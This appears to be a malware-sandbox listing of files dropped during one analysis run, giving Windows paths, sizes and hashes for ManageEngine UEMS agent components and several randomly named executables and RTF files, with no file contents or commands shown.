SHA512 1629e29b59f28f60042e95e3d435a0cb8e084f360bfff655b72e6bdc487a58b95d41a2f86d22980ede5b8ac19dd8a24173a3891d00b219980fe376aa8a41d7ae
SSDEEP 96:eY0IthX69XVX0uisX0XRareXbXSIXbXSIXbXSIXbXSaXY:90IthXAXVXZX0XtXbXzXbXzXbXzXbX9o
TLSH
T13891C76BADD8C9996A0FF71F3275D80898193006739FCC617B2E086897A3644F7E94DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentinstaller.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
Size 11KB
SHA256 3cf0bef8740e3616758ec62459dfd6de6ff64e78b8a5dc1a26250dfe9beb2b55
MD5 53af68e5f413899bb74c30076d287055
SHA1 1e70db72fc8cd19d1426df672ee3d7f9adf503ca
SHA512 dc8d60614f96b8949b2dc2fa25de92769c58ce934f44122adf3765e1a389bf33b1b8beca15cb9121058cac00a6510ceb58d0c9d7e2596f77e585f14bd3a3a79b
SSDEEP 192:IdLJ/ZI1EKL5C4FzuL5DdBaOhk2hqkMhqrGNYoIEm6J7UPaTxUxJxrTxSxJxrTxJ:wLJ/ZI1EKNC4IN3aOhk2hqkyqrGNYoIM
TLSH
T1BA32D31ABBE160A0476F05D2A80117BFAE4E79185583F9B02BA8F1C17F5B46B0F9F650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setAppPermission_Internal.bat

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat
Size 957B
SHA256 8b78e103d656d873fa2a5377dbef7fd92877005dad78fd3521556158453d8ab9
MD5 e300d6f5c088aee55f0b91f4efc72035
SHA1 97d081d6ea84780f8f556cc6dde8dadd10f09e63
SHA512 366f99f7c3387c5b45daf7d3875ddc246ed00d49bb846b5e21dcf3208b910a65d56cce5a211e13a8f10c698d44b4a814069b6ca06fb28a8614dbfdaf952bdea2
TLSH
T14611DC1EF610053C09AE7AD47BB00D66BA29E0E770151A5E3E06135DDF84A80BFB53DB
MD5 SHA1 SHA512 TLSH

Submit Download

TMfGrpLjapJKxcEouDvtkvobpWtMDvKM.erO.exe

Path C:\ProgramData\dVnSyIbWcNyEAddjSyliMjsXjWcEOVln.dCB\TMfGrpLjapJKxcEouDvtkvobpWtMDvKM.erO.exe
Size 51KB
SHA256 ce6bb7eddc83762c708d4a41709ae00371dbdc09b2a380f28fa60b1edf917473
MD5 2e068ce2770fde8d1af4cb114b98df1f
SHA1 b6f9c2775babb025b22f915c3047aa627d07c312
SHA512 998d695eb56375e63df7db16740b89deb2cf630ccbead8bcf84a921ec6f4a4f9aef2755b703f7190f332b2008ebcc949363bcf8f392d7d07246c255b5073ed35
SSDEEP 1536:6G9yoVEpHP29I3fbcJboSUge5N+CnC/maz9Rh:8pv2mbcJboce58wvOR
TLSH
T137336C236A0A49B3DFE231780A9D7232526DD862075541F7A61057EAFD243E2EE743CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PdFCorE8.DLl

Path C:\ProgramData\esslWKdGsOKSKzAktjecGtQbyAcilefw.EIL\PdFCorE8.DLl
Size 2.7MB
SHA256 b582ef710b7e37384e1979604342c3921af48f92c67d161d641811dac750372c
MD5 055ad262789ca2d30c448078978b5169
SHA1 fa91b5786a1340b85b088447f74606629ea38a67
SHA512 0e5cb94ed4a6548c19966aa73fc9cbef4058b78ff130d18d0f801d27efb66e3bc05444c6bbdd3d2066d3ba4e89fcd9d506cc588054a61501290ba925dd3b7757
SSDEEP 49152:jHwJkCu76S+cdUb3YR0hrkOWwkWIiLrvHhBWo4LYrL4M8enc7XWI+MSYzGb2LMfp:jHwaCdfcdUbK0hh3kWIiLrh/4LYrLN8o
TLSH
T15DD59E123B440077F91E42B0994DB3A8F2BC6DF0077943D76AD4DA2CA9728C296757AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PdFCorE8.DLl.rtf

Path C:\ProgramData\esslWKdGsOKSKzAktjecGtQbyAcilefw.EIL\PdFCorE8.DLl.rtf
Size 2.7MB
SHA256 426d2619d8e32bcca4653ee6fe626495e90078b2e6ea827e829aa16a7c970553
MD5 c3e4ae9287908794f17b52c377a72212
SHA1 1fe3f351556aa478fa52f852fffeda4bc134a973
SHA512 94591a6bfcf8a0edc51f34c5abe88e737a755cfe85d3c29377137cdae1fc1260e0fa07928d9cc7924670651306dc6433e816ee12e17985ccdd1fc26fc7ed08d2
SSDEEP 49152:hZx9qZtOEaBU5OfP5z+9S+9n/UfNgt0qQto3VpbayAlvdK7vHztbuJi:h9qZ+BtQ9n/j3VpbaLfCvHgJi
TLSH
T1B3D5336935082121AC361C5A6C410FEDF3A0657CEA8B43FB392610EF9C7D9A7DED605B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Agentinstalllog.txt

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt
Size 1KB
SHA256 b103159045fb28ffa91620e4fddeb3a91b557d48eda3d4d075b3014995a533d5
MD5 a3a65b10fa8e83f140469c0f22aa3ede
SHA1 a264148a5816155e7d92f51d89254d544d7627db
SHA512 8ef700cd4a69ccad2e75ed127d6b7860d76abc243bacf9a77e8ce880bd539d52d38125fea695bd8ae9fc8ee5e05204f0dbabb7fdb8dad31f6dc17524aca7a12c
TLSH
T16731C7551AF50848F1B75B4B9EF3C0630A33FDE96935DB4D2384836E066AD08687D37A
MD5 SHA1 SHA512 TLSH

Submit Download

DCAgentServerInfo.json

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\DCAgentServerInfo.json
Size 4KB
SHA256 234270819f1fdc019065aa1d0475e19d93b3dd49a886518876b0c1b02307bc6f
MD5 cd8c0052cd799ded1a125259baf3d944
SHA1 166bdb02f1faf8be7841e0589babe85aac1acafb
SHA512 9c6f38768246f82a93f3f02a56a2416f02581c95272a052d403693212cea8cb2fedff66b0f27d41c5b1926efa8f19d6d12485c300c281be15a06011516d887be
SSDEEP 96:vi0mfWcdMHhZOjS1Uf7f5u8H1oH1o/s2KkdDZLvTElYP3I8WUN:vBUWHBZOzfEo1d/s21zLvTE6fI8xN
TLSH
T171A12AA2C6823D7D1ECFC24CD95924535D690028ABE861A70EBF7E85F9CB24107DF8B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SetUP.VBS

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS
Size 827B
SHA256 7acc98e98816c82141c818e72b9c0021bc0bfa5f01950c8f67593400a7d8abec
MD5 4f1ea3d970e4a98459475c0e6abb6ea8
SHA1 aa056a40cf56378c261ffc7266d2b00a32a095e4
SHA512 0848e3f0e77b30c5d99f557ced22146cda151372e7d8bf386b844398df755eb2a8f4c43a5430f4099de86b9d9712d110e920ec99cf65f85253f658e0ead49ce1
TLSH
T13B018901B43DC7328AB0239150022DDDDEA3431A240852E6B99DCCFECF9C4389A35211
MD5 SHA1 SHA512 TLSH

Submit Download

UEMSAgent.mst

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst
Size 20KB
SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
MD5 0273976d2ecf588a5514b0f5069968e5
SHA1 b906399f51bffff670d20c5f5d66800a78b1e638
SHA512 da06fe4cf771c3a4840ced5b95a421cbec98023766d0d382b44798fefdf04f794119d3c17eb2165f35df1745bf3ffad600af10b7f89cce24f788a57f6e67a809
SSDEEP 24:J+U2p5gxBuP2xjl/Zd8pJPSgHiHJoxIzxhK:IU2p4gI7dyJaz
TLSH
T109927202FBA1EA16D0490A358E96C3DC0B36FC81DD42836B35E6776FBD721C54D62AA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DMRootCA-Server.crt

Path C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA-Server.crt
Size 1KB
SHA256 6672a018cfb71e62a6a13ded436e468f93416d4f0d3f4af162eb6d87c9da0d30
MD5 4a71c6a4ee3e84a36356081173129b98
SHA1 7fdaffd590e4d57ba4b0a56d2aa1e76761fdb326
SHA512 e35fd64c90088230a26b80548d244159ff27738b405ef30fbfba3f0e5a935a2426a1dc7cd8eb2b7d4dbf29af51b19daf7e85b5dec125f8e4f59d10f3e767f749
TLSH
T17821E6974780ACA898D7C28CCE8F24420CD61A3EEAF4BA77047F7F12EB9355905A5CC4
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA.crt

Path C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA.crt
Size 1KB
SHA256 082597e60da460614c57b343cc378f9e9ec71871314195557a804ee30329b313
MD5 52f6ec41ce1e8c39c030dd66ed2b9138
SHA1 5eb1f29ad3f3e7c6a0e1726f39634f461b2dd881
SHA512 b462d0a0e5ba5995dc436535a0c5d1bfb9dbff3cb43badebe21c39bdb8e4dda488e3c490aca2efa75bcaf3e8378a659d38659c3c009d3c4e74137d0218bf6917
TLSH
T17E21E6185E80A49FB4DBD2ECD54D3541AF1A552A9ACC31EB2F7A7D00C60B2B129CDCD8
MD5 SHA1 SHA512 TLSH

Submit Download

README.html

Path C:\Users\Admin\AppData\Local\Temp\RarSFX2\README.html
Size 1KB
SHA256 02595856ad354a47e9c664a55dc428aad19ce73a00fe95228bbe590cfca944d8
MD5 2d939d7afe37b02f77e4eb4d5e5916fc
SHA1 7aaea8ffacef9986f3c99c9a172763fc90c71217
SHA512 26df83433c38890b4e5bfe29b508666257b3abd562568c5fe7558925128c28d89d237420aa872db4710ef7d511b478e867751cb6426679a52554dc7b89ac948a
TLSH
T10021FEB3C2526B3AB563034E305BD6D42F12F28150545F5C72B640DAB8CA227B41B3DE
MD5 SHA1 SHA512 TLSH

Submit Download

setup.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX2\setup.bat
Size 2KB
SHA256 91f784bf3dd83c0f5135ac1fd00a0fdd430720ebc57ec4c2eccb7875dbc8a90d
MD5 9cb71612a1aa60c6a9c893bcefced81f
SHA1 b9259cb454959dca0a42de49c5ad6f336719a384
SHA512 3eac954bc561dd2f1ba88324acc5baaaedca2c7b3932135a6ccb7ae69b8057a8540b85a70cbd25d5b4a558254789c977bd9439ca0643b8d655a3bf802c3120eb
TLSH
T11351E0D48F112F641465CF09E46B81C3E733D0416ACA753404AC7C6F7B8D6AA3D3EAA4
MD5 SHA1 SHA512 TLSH

Submit Download

7495.IsA

Path C:\Users\Public\WindowsApps\cIN~@{QTV\7495.IsA
Size 17KB
SHA256 671e564fa73da5f33f6591d27eef6d3f02264c94f4cf85328bab1412a7fcb687
MD5 a736339a04448a02b654b8dcf3f7a8de
SHA1 45b324e0045ca76a70ebd3774b300c771b57025d
SHA512 4fb474795237afc8c14c6cf9e90122efa497dcfe014eb689ed9ee1e0ede69001a1d83dc244dcbebaac567bbc3019f8476171f6edb80cc6bfca401fb610c6601f
SSDEEP 192:JgvuYacCCpQIw9l0HKs0zTQxmaYe+PjP4wBjtlAv6YHmVm1OoG:JsuoCCpQIY0HKs0vkmaYPL4OUSYGVm1k
TLSH
T15B826D8B876920AAFAE7C935C2A18677FC30FAD077564AFF4119C1911E81FE05B3D209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7495.IsA.rtf

Path C:\Users\Public\WindowsApps\cIN~@{QTV\7495.IsA.rtf
Size 17KB
SHA256 df84fd6a0fd2735b117295de2f0564ef877a243706cc717eeb6fb906cad2d3fd
MD5 6ad0dca00fb921e9f84864176452f31a
SHA1 a568bd6333f018feed7496b22ffac3b1526b08af
SHA512 241287d8fdcc0a692c7eb4e5be6be81d2f7a5a597aff6f5130288a2af419b896630cfae5c5ef4863fb9bb2f9baf7590e0b52b9d17ea487bd3f056f73d6903645
SSDEEP 384:BiJF+549/oGo5gfgyJ5mvhdg4gVFz3gxa487oNK:BO+54NoGVgyCbQzQHNK
TLSH
T1BB82E139680D9A75EA4D5C34678B293CF47D8C492B3F8C5B79BE08860605630B54D2D7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

767.ynD

Path C:\Users\Public\WindowsApps\cIN~@{QTV\767.ynD
Size 32KB
SHA256 fb1c10d2d9e89ae8263faaed9b211bd1585896fc8eb4bc21622942a8a22cee09
MD5 c260608456e573a9d4de3c935648086e
SHA1 eabc6ee5869e011ae01014fdd8a89be3d237dd5b
SHA512 24c5edcf96081705028704ab7529225dd911630be668ca7593cbc7cab107b72a62c000f7cf8adabeca04474e81c474446fe471a3ee9006b377dfcb3bb49f72a2
SSDEEP 768:Nf+Wus4O4cTO2z2BuaVDNgijrrwn2899zud:1GF29aNgyw2szud
TLSH
T1B4E24BC966B804CAE6F782B4C2F9D6A6B970BA53172343EF0161C5740D63FD0DA35B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

767.ynD.rtf

Path C:\Users\Public\WindowsApps\cIN~@{QTV\767.ynD.rtf
Size 32KB
SHA256 20d34744171ed9e3ff682f62a655a0514ce73fcfaf7950ba63a8235f4a39bad8
MD5 9e128a5e613911f66a550f9a51e86bc3
SHA1 1c2e3a4557a8a1e42ca9afc387e3de770ca75193
SHA512 5b0f671347e54f17178796a2095b058e20b89a3295e76ea1295e6b432e042e58ca277374c836b0c8500a561c878969f4fff2ad25851130c2e4a0a011fc03aeef
SSDEEP 768:GjhS0gylIAZU63m4Bdyko8dZXxVlgQ+8dPaIfgVz:Sh5DSYm9ko8zPasPaHz
TLSH
T1A9E2F104292BCC6710729CCD47E624D92AAF6F2B7BD62D6CC2CC1003FE0D8975A68B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIDF07.tmp

Path C:\Windows\Installer\MSIDF07.tmp
Size 429KB
SHA256 f38732fb0f04076ce302b6b816212e5fca72d0d787f50cbb9ebe1ee7c474e6aa
MD5 4247dfba3a3e297fc25d13f4a5168dd1
SHA1 18525c53e159aefec078a3279d8e5c4c84254543
SHA512 2605799de42f8d8e02abfb2d99fad7598e8394d772d0997edf4cb2260206571570ca81559601373160999b27d2caf4e74bc26b016cdda7780b5f7786e7d109aa
SSDEEP 12288:cpqSpvhUEaxBOJBesypR2wd/8Vysp7NTb:cJhUZxBOWsc1YFNP
TLSH
T19494BF1135C9C031E1AE5170ADB5AF76AE7DAD200F2858CBD3C84D3B1E645C2AB76F1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentlibxml2.dll

Path C:\Windows\SysWOW64\dcagentlibxml2.dll
Size 2.0MB
SHA256 04fc8d4036e0d118f24298b8f10b6ad06cc454f193138e1e7d8ed8ed0730c673
MD5 f5ea1b7acabf46eeb4ad69d1d5cbe71d
SHA1 eaf27d91a674fac8230fd549632041688305377d
SHA512 4d7a5a23a6fcdf1c5df4d5ab33faacbc7422f4abf1ae89142079d8cd4f227ece207be0a43676c4034917fa1dec5c921a5f9cf6e6f27d20395991c6cf23911a87
SSDEEP 49152:I1fOkYtuKEoTHy9uizLBAUZLY6tPT8FGaXQa:SfOk4rwLBAUZLva
TLSH
T103A5BF04B980C532F4EB01F0CAFE5BFB982DCD26672554E767E578D889301E162BEB19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download